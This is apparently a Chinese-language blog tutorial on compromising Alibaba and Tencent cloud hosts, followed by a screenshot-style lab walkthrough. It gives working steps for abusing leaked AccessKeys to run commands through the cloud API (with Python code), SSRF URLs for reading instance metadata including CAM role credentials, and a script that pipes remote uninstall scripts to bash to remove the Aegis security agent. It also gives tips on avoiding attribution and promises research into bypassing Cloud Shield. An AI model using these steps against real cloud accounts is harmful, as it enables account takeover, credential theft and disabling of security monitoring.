2025云安全渗透:如何拿下一台云主机-附加复现实验加原理(全网独一份小白必看)
云主机(CVM)攻防完全指南(概念看完!!下面有复现实战!!!!!)
核心结论:CVM攻防围绕腾讯云/阿里云CVM核心组件展开,攻击侧聚焦密钥泄露、配置漏洞、常规渗透与元数据利用,防御侧依赖安全组、云安全中心及Agent加固,需同步掌握图形化与API操作技巧。

一、CVM核心概念
1. 基础定义
CVM(Cloud Virtual Machine)是腾讯云/阿里云提供的弹性计算服务,支持自定义CPU、内存、存储、网络等资源,可快速部署应用并根据业务需求弹性扩容,无需前期硬件投入。
2. 核心组件详解
| 组件名称 | 作用说明 |
|---|---|
| 实例 | 虚拟计算资源载体,包含CPU、内存、操作系统等基础组件,即云服务器本身 |
| 镜像 | 预制模板(含操作系统+预装软件),支持Windows、Linux等多系统类型 |
| 云硬盘(CBS) | 高可用块存储设备,作为实例的系统盘或数据盘,提供稳定存储支持 |
| 私有网络(VPC) | 隔离的虚拟网络空间,含网段、子网、路由表,支持混合云架构与跨可用区容灾 |
| IP地址 | 内网IP用于实例间通信,公网IP用于访问互联网;弹性公网IP(EIP)支持动态绑定 |
| 安全组 | 有状态虚拟防火墙,通过策略控制实例出入流量,实现网络访问隔离 |
| 地域/可用区 | 地域为机房分布地区,可用区为同一地域内独立物理数据中心,保障故障隔离 |
二、CVM攻击思路
1. 前期信息收集
- 常规渗透操作:域名查找、端口扫描、目录扫描、指纹识别
- 重点目标:搜集AccessKey等密钥(可能存在于APK、Github、Web页面、JS文件、配置文件中)
2. 漏洞与配置利用
- 应用层漏洞:SSRF、RCE、本地文件读取等常规Web漏洞
- 配置缺陷:OSS存储默认开放、端口公网全暴露(0.0.0.0/0)等默认配置风险
3. 密钥利用场景
- APK文件、Web/JS页面、phpinfo中埋藏AccessKey
- Github关键词搜索目标资产泄露的AccessKey与AccessKey Secret
- 低权限WebShell下搜集AccessKey,进而控制云主机
三、关键操作方法
1. 图形化操作(推荐工具)
- 行云管家:直接导入AccessKey,可视化管理云资源、获取OSS数据
- aliyun-accesskey-Tools:Github开源工具(https://github.com/mrknow001/aliyun-accesskey-Tools),简化密钥利用流程
2. OpenAPI Explorer调用
(1)基础信息
- 阿里云在线调用地址:https://api.aliyun.com/#/?product=Ecs&api=DescribeRegions
- 核心支持:通过API实现云主机全生命周期管理,支持多语言SDK调用
(2)核心操作示例
-
创建云助手命令
- 支持脚本类型:Windows(Bat/PowerShell)、Linux(Shell)
- 要求:脚本内容需Base64编码,编码后大小≤16KB
- Python示例代码:
#!/usr/bin/env python #coding=utf-8 from aliyunsdkcore.client import AcsClient from aliyunsdkcore.acs_exception.exceptions import ClientException, ServerException from aliyunsdkecs.request.v20140526.CreateCommandRequest import CreateCommandRequestclient = AcsClient('<accessKeyId>', '<accessSecret>', 'cn-beijing') request = CreateCommandRequest() request.set_accept_format('json') request.set_Name("test1") # 命令名称自定义 request.set_Type("RunShellScript") # 脚本类型 request.set_CommandContent("aWZjb25maWc=") # Base64编码后的脚本内容response = client.do_action_with_exception(request) print(str(response, encoding='utf-8')) -
常用API列表
- DescribeRegions:查询可用地域
- DescribeInstances:查询实例详细信息
- GetInstanceConsoleOutput:获取实例命令行输出(Base64编码)
- InvokeCommand:触发云助手命令执行
- ExportImage:导出自定义镜像到OSS Bucket
3. SSRF查看实例元数据(腾讯云)
(1)基础接口
http://metadata.tencentyun.com/latest/meta-data/
(2)关键信息查询接口
- 地域信息:
http://metadata.tencentyun.com/latest/meta-data/placement/region - 内网IP:
http://metadata.tencentyun.com/latest/meta-data/local-ipv4 - 公网IP:
http://metadata.tencentyun.com/latest/meta-data/public-ipv4 - VPC ID:
http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs/${mac}/vpc-id - CAM角色临时凭证:
http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/${role-name}
四、防御体系:云安全中心与Agent
1. 云安全中心
(1)核心定位
实时识别、分析、预警安全威胁的统一安全管理系统,实现威胁检测、响应、溯源自动化闭环。
(2)版本功能对比
| 版本 | 核心功能 |
|---|---|
| 免费版 | 基础安全加固,检测异常登录、DDoS攻击、服务器漏洞、云产品安全配置风险 |
| 防病毒版 | 安全告警+病毒防御核心功能 |
| 高级版 | 新增漏洞检测与修复、安全报告生成功能 |
| 企业版 | 补充基线检查、资产指纹、攻击分析能力 |
| 旗舰版 | 全量功能覆盖,含镜像安全扫描、容器K8s威胁检测、容器网络拓扑等 |
2. Agent插件
(1)作用
云安全中心客户端组件,负责本地安全防护、漏洞检测、病毒查杀等功能的落地执行。
(2)关键信息
- 安装路径:
- Windows:
C:\Program Files (x86)\Alibaba\Aegis - Linux:
/usr/local/aegis
- Windows:
- 卸载参考:
- 阿里云:官方文档(需谨慎操作,卸载后失去安全防护)
- 腾讯云:https://cloud.tencent.com/document/product/248/53584
- 卸载脚本(Linux示例):
if ps aux | grep -i '[a]liyun'; thenwget http://update.aegis.aliyun.com/download/uninstall.sh | bashwget http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bashpkill aliyun-servicerm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service fi
模拟实战
1. 首先是需要去创建一个ECS,用来去生成Assesskey。

2. 接下来去RAM创建key,权限设置的大一些,就比如可以完全访问云资源之类的。

3. 这里的STS的意思是,把key作为一个临时凭证去调用,举个例子,这个key只能说支持用户上传头像这一个操作,这个操作结束key就失效,这样子就算泄露了key也会大大降低了复用的风险,现在很多业务都是这样子操作的,但是这里我们先不要勾选。

4. 现在就可以去复制这些信息。

5.复制结果如下:

6.正常渗透可能会这么泄漏accesskey:

7. 把第一页的权限先开起来。

到这里环境搭建结束
8. 去这个云管家,然后需要手机号登录一下,其实我这里主要是为了复现原理,真实渗透还是不要这么高,毕竟你的操作云控制平台也是可以看到的,想溯源也不难。直接将信息复制进去,就可以看到我们的主机了。
https://yun.cloudbility.com/

9. 进行导入

10.我们这里主要拿的信息是实例ID和所属地区

11. 找到阿里云的api调用平台,我这边建议将他的专属插件下载一下比较好操作。
https://api.aliyun.com/#/?product=Ecs

12. 我们发现有很多调用接口什么的,我们去找command关键词,可以看到云助手里有这些关键词。那我们先进入Createcommand那个接口,正常填写数据就行,这个不过多赘述。我们调用的接口顺序是
13. 这里的实例id是我们云主机拿到的,regionid找我们云主机所对应的地区。

14.如果是vscode就要去配置一下key,与云主机导入的流程差不多。

15. 当你每一个接口执行成功都有一个任务ID,云这边我觉得是将任务进行里封装,更好的管理和调用,我们的Create和invoke都会产生一个任务ID,需要将他记录下来。

16. 调用成功之后,结果如图:


17.最后将invoke的这个任务ID进行调用,结果是base64加密的,在output的字段里,直接解密即可。为什么不用反弹shell呢?会被云盾拦截,所以后面我也去研究一下绕云盾的方法,大家多多点赞!!!

